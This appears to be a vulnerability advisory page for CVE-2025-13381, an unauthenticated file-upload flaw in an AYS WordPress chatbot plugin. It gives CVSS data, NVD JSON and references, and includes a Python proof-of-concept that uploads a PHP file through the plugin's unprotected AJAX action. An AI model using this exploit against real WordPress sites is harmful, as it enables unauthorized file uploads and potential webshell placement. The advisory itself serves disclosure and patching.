Security Vulnerability Report
中文
CVE-2025-13381 CVSS 5.3 MEDIUM

CVE-2025-13381

Published: 2025-11-27 10:15:51
Last Modified: 2026-04-15 00:35:42

Description

The AI ChatBot with ChatGPT and Content Generator by AYS plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the 'ays_chatgpt_save_wp_media' function in all versions up to, and including, 2.7.0. This makes it possible for unauthenticated attackers to upload media files.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

AI ChatBot with ChatGPT and Content Generator by AYS plugin <= 2.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys ''' CVE-2025-13381 PoC - Unauthenticated File Upload AI ChatBot with ChatGPT and Content Generator by AYS plugin < 2.7.1 Discovered by: Wordfence Threat Intelligence Team ''' target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' # Step 1: Upload malicious file via vulnerable endpoint upload_url = f'{target_url}/wp-admin/admin-ajax.php' # Create a simple PHP webshell or test file files = { 'file': ('malicious.php', '<?php echo "VULNERABLE"; ?>', 'application/octet-stream') } data = { 'action': 'ays_chatgpt_save_wp_media', 'ays_chatgpt_nonce': 'any_value' # Nonce not validated for unauthenticated users } print(f'[*] Attempting to upload file to {target_url}') print(f'[*] Target endpoint: {upload_url}') try: response = requests.post(upload_url, data=data, files=files, timeout=30) print(f'[*] Response Status: {response.status_code}') print(f'[*] Response Body: {response.text}') # Check for successful upload indicators if response.status_code == 200: print('[+] Request completed - check response for upload path') print('[+] If file uploaded successfully, access it via wp-content/uploads/') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') print('\n[*] Mitigation: Upgrade to version 2.7.1 or later')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13381", "sourceIdentifier": "[email protected]", "published": "2025-11-27T10:15:51.220", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The AI ChatBot with ChatGPT and Content Generator by AYS plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the 'ays_chatgpt_save_wp_media' function in all versions up to, and including, 2.7.0. This makes it possible for unauthenticated attackers to upload media files."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ays-chatgpt-assistant/tags/2.6.9/admin/class-chatgpt-assistant-admin.php#L3268", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ays-chatgpt-assistant/tags/2.6.9/admin/class-chatgpt-assistant-admin.php#L3585", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ays-chatgpt-assistant/tags/2.6.9/admin/class-chatgpt-assistant-admin.php#L3597", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ays-chatgpt-assistant/tags/2.6.9/includes/class-chatgpt-assistant.php#L222", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3402237/ays-chatgpt-assistant/tags/2.7.1/admin/class-chatgpt-assistant-admin.php?old=3382650&old_path=ays-chatgpt-assistant%2Ftags%2F2.6.9%2Fadmin%2Fclass-chatgpt-assistant-admin.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/be3411ec-0e34-4b0b-a04c-98ac94396989?source=cve", "source": "[email protected]"}]}}